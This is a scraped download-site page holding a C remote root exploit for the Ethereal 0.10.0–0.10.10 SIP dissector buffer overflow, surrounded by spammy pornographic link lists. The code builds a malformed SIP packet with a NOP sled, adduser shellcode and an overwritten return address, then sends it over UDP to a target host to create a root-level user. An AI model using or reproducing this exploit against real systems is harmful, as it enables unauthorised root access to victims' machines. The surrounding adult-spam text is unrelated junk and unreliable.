亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ethereal 小等0.10.10 sip protocol dissector remote buffer overflow exploit.txt

?? 一些可以實現益出的程序
?? TXT
字號:


/* tethereal_sip.c (now quite functional)
*
* Ethereal (0.10.0 to 0.10.10) SIP Dissector remote root exploit
* based on the exploit:
* http://www.frsirt.com/exploits/20050511.ethereal_sip_dos.c.php
*
* Advisory: 
* http://www.frsirt.com/english/advisories/2005/0470
* http://www.ethereal.com/appnotes/enpa-sa-00019.html
* 
* produced by Team W00dp3ck3r:
* frauk\x41iser
* mag00n
* s00n
* thorben
* 
* Notes:
* tested on Debian Sarge 
* Linux maggot4 2.6.8-1-386 #1 Mon Sep 13 23:29:55 EDT 2004 i686 GNU/Linux
*
* tested version of ethereal:
* http://www.ethereal.com/distribution/all-versions/ethereal-0.10.10.tar.gz
* (./configure, make, make install ;))
* 
* victim has to switch from normal user to root using "su -" 
* the exploit adds a user named "su" with password "su" on the victim host
* 
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>


unsigned char sip_header[] = 
"\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"
"\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"
"\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"
"\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"
"\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"
"\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"
"\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"
"\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"
"\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"
"\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"
"\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b";

unsigned char callid[] =
"\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20";


/* adduser shellcode, user: "su", pwd: "su" Full Size=116, splitted into 
2 parts because one buffer was too small. thx to http://metasploit.com */
unsigned char shellcode[] =
"\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
"\xb7\x95\xbb\x83\xeb\xfc\xe2\xf4\x94\x7e\x1c\x70\xcf\xf1\xcd\x76"
"\x25\xdd\x90\xe3\x94\x7e\xc4\xd3\xd6\xc4\xe2\xdf\xcd\x98\xba\xcb"
"\xc4\xdf\xba\xde\xd1\xd4\x1c\x58\xe4\x02\x91\x76\x25\x24\x7d\x9b"
"\xa5\xb7\x95\xc8\xd0\x8d\xd4\xfa\xdf\xf2\xac\xd4\xd4\xf9\xdd\xed"
"\xf5\x82\xe6\x81\x95\x8d\xa5\x81\x9f\x98\xaf\x94\xc7\xde\xfb\x94"
"\xd6\xdf\x9f\xe2\x2e\xe6";


unsigned char cseq[] = 
"\x0a\x43\x53\x65\x71\x3a\x20";

/* the malformed cseq method field. the buffer has a size of 16 byte. you need 
48 byte to overwrite the return address. the first byte is checked isalpha(), 
so we splitted the shellcode in a way that the first char of cseq_method passes
the isalpha() check. */ 
unsigned char cseq_method[] = 
"\x69\xd1\xa1\xef\x58\x3b\xcf\xb6\xcd\x76\x25\xb7\x95\xbb";


/* needed to be a fully valid sip packet */
unsigned char sip_footer[] =
"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63\x6b\x3a"
"\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74"
"\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72"
"\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
"\x6e\x74\x3a\x20\x57\x30\x30\x64\x70\x33\x63\x6b\x33\x72\x20"
"\x0a";



int main(int argc, char * argv[]) {
unsigned int i, offset, ret, p_addr;
struct sockaddr_in dest;
struct hostent *he;
int sock, slen = sizeof(struct sockaddr);
unsigned char buffer[2048];

// help output
if(argc < 3) {
printf("correct syntax: %s <flag> <host> \n", argv[0]);
printf("possible flag: \n");
printf("1 the ethereal user has started tethereal" 
"with full path as root \n");
printf("2 the ethereal user has started tethereal" 
"without directorypath as root \n");
return 1;
}

// p_addr may differ on other systems ;)
if (argv[1][0] == '1') {
p_addr = 0xbffee328;
}

if (argv[1][0] == '2') {
p_addr = 0xbffee338;
}

// destination-ip check
if((he = gethostbyname(argv[2])) == NULL) {
printf("[!] Couldn't resolve %s\n", argv[2]);
return 1;
}

// open socket
if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket()");
return 1;
}

// set packet parameters
dest.sin_port = htons(5060);
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)he->h_addr);

// set the returnaddress (may differ on other systems)
ret = 0xbffee240; 


//// generate a buffer containing the data ////
offset = 0;

// set all values of the buffer to 0x0
memset(buffer, 0x0, sizeof(buffer));

// copy the header into the buffer
memcpy(buffer+offset, sip_header, sizeof(sip_header)); 
offset += sizeof(sip_header) -1;

// concat the callid into the buffer
memcpy(buffer+offset, callid, sizeof(callid)); 
offset += sizeof(callid) -1;

// add the callid-value (nop+shellcode)
i = 128 - sizeof(shellcode) +1; 
memset(buffer+offset, 0x90, i);
offset += i;

// insert shellcode into buffer
memcpy(buffer+offset, shellcode, sizeof(shellcode));
offset += sizeof(shellcode) -1; 


// concat the cseq
memcpy(buffer+offset, cseq, sizeof(cseq)); 
offset += sizeof(cseq) -1;

// generate the part, which causes the overflow (=cseq-method)
memcpy(buffer+offset, cseq_method, sizeof(cseq_method)); 
offset += sizeof(cseq_method) -1; 

// fill the rest of cseq_method with A
memset(buffer+offset, 0x41, 30);
offset += 30; 
// write return address
*(long *)&buffer[offset] = ret; 
offset += 4;

// repair the first pointer after ret- address
*(long *)&buffer[offset] = 0x08215184; // is a pointer DEST-value: 0x1
offset += 4;
// repair second pointer after ret- address 
*(long *)&buffer[offset] = p_addr;
offset += 4; 

// the finalising part of the message
memcpy(buffer+offset, sip_footer, sizeof(sip_footer)); 

// send the buffer to the victim
if (sendto(sock, buffer, sizeof(buffer), 0, 
(struct sockaddr *)&dest, slen)== -1) {
printf("[!] Error sending packet!\n");
return 1;
}

// DEBUG //
// printf("%s\n", buffer);

printf("[*] dark W00dp3ck3r packet sent!\n");
close(sock);
return 0;

}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品久久午夜| 免费在线成人网| 国产精品美女久久久久久| 欧美成人一区二区三区在线观看| 91麻豆精品国产自产在线| 欧美丝袜第三区| 欧美日韩视频专区在线播放| 欧美日韩在线一区二区| 欧美区在线观看| 欧美精品免费视频| 日韩视频一区二区在线观看| 日韩午夜在线影院| 久久亚洲春色中文字幕久久久| 精品久久久久久久久久久院品网| 久久综合色播五月| 久久久99久久| 国产精品毛片大码女人| 亚洲欧美在线aaa| 亚洲综合精品久久| 日韩精品亚洲专区| 韩国理伦片一区二区三区在线播放| 亚洲欧美一区二区三区孕妇| 精品免费国产二区三区| 免费在线成人网| 黄色资源网久久资源365| 国产一区二区免费在线| 国内欧美视频一区二区 | 亚洲综合偷拍欧美一区色| 亚洲一区二区视频在线观看| 五月天一区二区| 男男视频亚洲欧美| 国产乱子伦视频一区二区三区| 国产黄色精品视频| 91看片淫黄大片一级| 欧美日韩国产一二三| 26uuu亚洲婷婷狠狠天堂| 国产精品国产a| 午夜精品视频一区| 国产成人在线视频网站| 色综合久久综合网97色综合| 制服丝袜国产精品| 国产视频视频一区| 亚洲国产日韩精品| 韩国女主播一区| 91极品美女在线| 欧美成人一区二区三区在线观看| 国产精品乱人伦中文| 亚洲福利视频一区| 国产高清精品在线| 欧美四级电影网| 久久嫩草精品久久久精品一| 日韩一区二区在线看片| 亚洲小说春色综合另类电影| 成人福利视频在线| 国产在线播精品第三| 91在线观看免费视频| 日韩视频一区二区在线观看| 亚洲欧美日本在线| 久久综合综合久久综合| 99这里都是精品| 日韩欧美高清一区| 亚洲靠逼com| 国产精品一区二区男女羞羞无遮挡| 色网站国产精品| 久久色在线视频| 日韩av一级片| 色系网站成人免费| 国产欧美一区二区精品久导航| 午夜精品福利一区二区蜜股av| 成人激情免费电影网址| 日韩精品一区二区在线观看| 亚洲一区在线观看免费| 成人做爰69片免费看网站| 日韩女优制服丝袜电影| 一区二区成人在线视频| 成人看片黄a免费看在线| 日韩精品一区二区三区在线| 一区二区三区日韩欧美| av影院午夜一区| 久久久亚洲欧洲日产国码αv| 午夜电影网一区| 欧洲在线/亚洲| 国产精品电影一区二区三区| 国产乱码精品一区二区三区五月婷 | 欧美精品三级在线观看| 国产成人激情av| 亚洲一区av在线| 日韩和的一区二区| 99亚偷拍自图区亚洲| 国产日韩欧美麻豆| 精品一区中文字幕| 日韩精品一区二区三区视频播放 | 欧美国产综合一区二区| 久久超碰97人人做人人爱| 欧美三级乱人伦电影| 亚洲美女在线国产| 不卡av在线网| 久久久久久**毛片大全| 国模一区二区三区白浆| 精品人在线二区三区| 精品一区二区三区免费播放| 日韩午夜激情电影| 另类小说一区二区三区| 日韩精品一区二区三区视频在线观看| 日韩电影在线免费观看| 欧美日产在线观看| 香蕉久久夜色精品国产使用方法| 色999日韩国产欧美一区二区| 亚洲欧美日韩国产成人精品影院| www.久久精品| 亚洲男人天堂一区| 欧美性xxxxxx少妇| 午夜精品免费在线| 色综合久久中文综合久久97| 国产精品久久看| 亚洲精品视频免费观看| 成人动漫一区二区三区| 国产精品乱子久久久久| 一本久道中文字幕精品亚洲嫩| 一级做a爱片久久| 欧美日韩在线三级| 免费人成在线不卡| 久久久www免费人成精品| 国产不卡高清在线观看视频| 国产精品麻豆网站| 欧美性xxxxxx少妇| 久久精品免费观看| 国产三区在线成人av| 91在线免费视频观看| 亚洲国产精品久久不卡毛片| 欧美一区二区三区不卡| 国产成人aaa| 亚洲婷婷在线视频| 51午夜精品国产| 国产ts人妖一区二区| 亚洲美女视频在线观看| 777奇米四色成人影色区| 国产一区二区精品久久| 亚洲免费观看高清完整版在线观看熊| 欧美色图在线观看| 国产麻豆精品在线| 一区二区三区在线高清| 日韩一区二区电影在线| 成人毛片在线观看| 午夜精品福利在线| 国产欧美精品一区二区色综合 | 亚洲人成网站在线| 欧美高清性hdvideosex| 国产一区二区三区免费观看| 亚洲欧美国产毛片在线| 欧美一区二区三区电影| 99国产精品一区| 免费观看在线综合| 亚洲欧洲三级电影| 日韩天堂在线观看| 91碰在线视频| 美国毛片一区二区三区| 综合激情成人伊人| 精品剧情v国产在线观看在线| 91丨九色丨国产丨porny| 久久91精品国产91久久小草| 中文字幕视频一区| 欧美一区二区播放| 色综合久久久久久久久| 精品亚洲欧美一区| 亚洲一区二区3| 国产精品人成在线观看免费| 欧美一区二区三区在线视频| 99在线热播精品免费| 精品在线视频一区| 亚洲成人av一区二区| 欧美激情一区二区三区蜜桃视频| 91精品国产欧美日韩| 色哟哟欧美精品| 国产不卡视频在线播放| 蜜桃久久av一区| 亚欧色一区w666天堂| **网站欧美大片在线观看| 亚洲精品一区二区三区香蕉| 欧美久久一二区| 日本韩国一区二区三区| 成人av在线电影| 国产精品一区二区久激情瑜伽| 青椒成人免费视频| 亚洲国产aⅴ成人精品无吗| 国产精品三级在线观看| www欧美成人18+| 日韩精品一区二区在线| 欧美久久久影院| 在线观看av一区| 色欧美片视频在线观看在线视频| 国产91高潮流白浆在线麻豆| 激情六月婷婷综合| 奇米精品一区二区三区在线观看| 亚洲成人动漫在线观看| 91精品国产麻豆| 午夜欧美大尺度福利影院在线看| 欧美午夜精品久久久| 国产电影一区在线| 国产一区二区伦理|